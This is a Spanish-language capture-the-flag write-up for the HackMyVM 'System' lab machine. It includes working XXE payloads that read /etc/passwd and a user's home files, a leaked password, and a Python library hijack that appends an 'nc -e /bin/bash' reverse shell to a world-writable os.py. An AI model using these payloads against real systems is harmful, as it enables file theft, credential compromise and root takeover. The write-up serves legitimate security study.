cd ~/blog

~/writeups/hmv/061-system.md

061-system

easy Linux hmv 25-08-2025
XXEPython Library Hijacking
hackmyvm.eu/machines/machine.php?vm=System

~1 min de lectura


Identificamos la IP de la máquina víctima:

 arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.44	08:00:27:2c:a2:91	PCS Systemtechnik GmbH

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.44
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-27 21:29 -0400
Nmap scan report for 192.168.1.44
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:2C:A2:91 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.44
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-27 21:30 -0400
Nmap scan report for 192.168.1.44
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_  256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: HackMyVM Panel
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds

Ingresamos al sitio, y encontramos un formulario para registrarse en la página.

Analizamos el código fuente de la página, y vemos que el input submit, llama una función llamada XMLFunction, por lo que verificamos si es vulnerable a XXE (XML External Entity):

...
<input type="submit" value="Register" onclick="XMLFunction()" />
...

Rellenamos el formulario y antes de enviar nuestra petición, interceptamos con burpsuite para analizar la request:

POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 102
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<details>
<email>admin</email>
<password>asdf</password>
</details>

Definimos un DTD (Document Type Definition), que permite declarar entidades y estructuras que se pueden usar en el documento XML.

Aquí se define una entidad externa llamada pwned, quedando la request de esta manera:

POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 102
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///etc/passwd">
]>
<details>
  <email>
    &pwned;
  </email>
  <password>
    asdf
  </password>
</details>

Descubrimos al usuario david:

root:x:0:0:root:/root:/bin/bash
david:x:1000:1000::/home/david:/bin/bash

Creamos un template con la request y el payload, incluyendo la palabra reservada FUZZ, para fuzzear en el directorio home del usuario david en busca de archivos útiles, utilizando la herramienta ffuf:

❯ cat xxe-template.xml
POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 176
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///home/david/FUZZ">
]>
<details>
  <email>&pwned;</email>
  <password>admin</password>
</details>
 ffuf -request xxe-template.xml -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/quickhits.txt -u http://192.168.1.44/magic.php -X POST -H "Content-Type: application/xml" -fs 85
...
.profile                [Status: 200, Size: 892, Words: 138, Lines: 28, Duration: 19ms]
.ssh/id_rsa             [Status: 200, Size: 2687, Words: 17, Lines: 39, Duration: 16ms]
.ssh/id_rsa.pub         [Status: 200, Size: 653, Words: 13, Lines: 2, Duration: 16ms]
.viminfo                [Status: 200, Size: 786, Words: 90, Lines: 39, Duration: 15ms]
...

Verificamos los archivos, y encontramos una ruta a un fichero llamado mypass.txt dentro de /home/david/.viminfo:

<!DOCTYPE results [<!ENTITY pwned SYSTEM "file:///home/david/.viminfo">]>
...
# Password file Created:
'0  1  3  /usr/local/etc/mypass.txt
...
<!DOCTYPE results [<!ENTITY pwned SYSTEM "file:///usr/local/etc/mypass.txt">]>
...
h4ck3rd4v!d
...

Nos conectamos vía ssh y obtenemos la primera flag:

 ssh david@192.168.1.44
david@192.168.1.44\'s password: h4ck3rd4v!d
Linux system 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 27 23:36:27 2025 from 192.168.1.5
david@system:~$

Para escalar privilegios, analizamos los procesos que corren en la máquina con pspy64 (https://github.com/DominicBreuker/pspy).

Luego de un tiempo, vemos que hay una tarea programada para ejecutar un script en Python:

david@system:/tmp$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

david@system:/tmp$ chmod +x pspy64
david@system:/tmp$ ./pspy64
...
2025/07/27 23:41:01 CMD: UID=0     PID=945    | /bin/sh -c /usr/bin/python3.9 /opt/suid.py
...

Verificamos los permisos del archivo suid.py:

david@system:/tmp$ ls -l /opt/suid.py
-rw-r--r-- 1 root root 563 Apr  2  2022 /opt/suid.py

Listamos su contenido:

david@system:/tmp$ cat /opt/suid.py
from os import system
from pathlib import Path

# Reading only first line
try:
    with open('/home/david/cmd.txt', 'r') as f:
        read_only_first_line = f.readline()
    # Write a new file
    with open('/tmp/suid.txt', 'w') as f:
        f.write(f"{read_only_first_line}")
    check = Path('/tmp/suid.txt')
    if check:
        print("File exists")
        try:
            os.system("chmod u+s /bin/bash")
        except NameError:
            print("Done")
    else:
        print("File not exists")
except FileNotFoundError:
    print("File not exists")

Verificamos los permisos en las librerías utilizadas por el script:

david@system:/tmp$ find / -name os.py 2>/dev/null
/usr/lib/python3.9/os.py

david@system:/tmp$ ls -l /usr/lib/python3.9/os.py
-rw-rw-rw- 1 root root 39063 Apr  2  2022 /usr/lib/python3.9/os.py

Tenemos permisos de escritura en la librería os.py, por lo que podemos escalar privilegios de varias maneras, realizando un Python Library Hijacking.

Podemos crear un script que contenga una reverse shell y agregarlo al final de la librería:

david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4
def pwned():
    import subprocess
    subprocess.run(["nc","-e","/bin/bash","192.168.1.5","1234"])
pwned()
 ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.44:54598.
script /dev/null -c bash
Script started, output log file is '/dev/null'.

root@system:~#

También podríamos modificar los permisos SUID de algún binario como /bin/bash:

david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4
def pwned():
    import subprocess
    subprocess.run(["chmod","u+s","/bin/bash"])
pwned()
david@system:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Aug  4  2021 /bin/bash

david@system:/tmp$ bash -p
bash-5.1# whoami
root

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados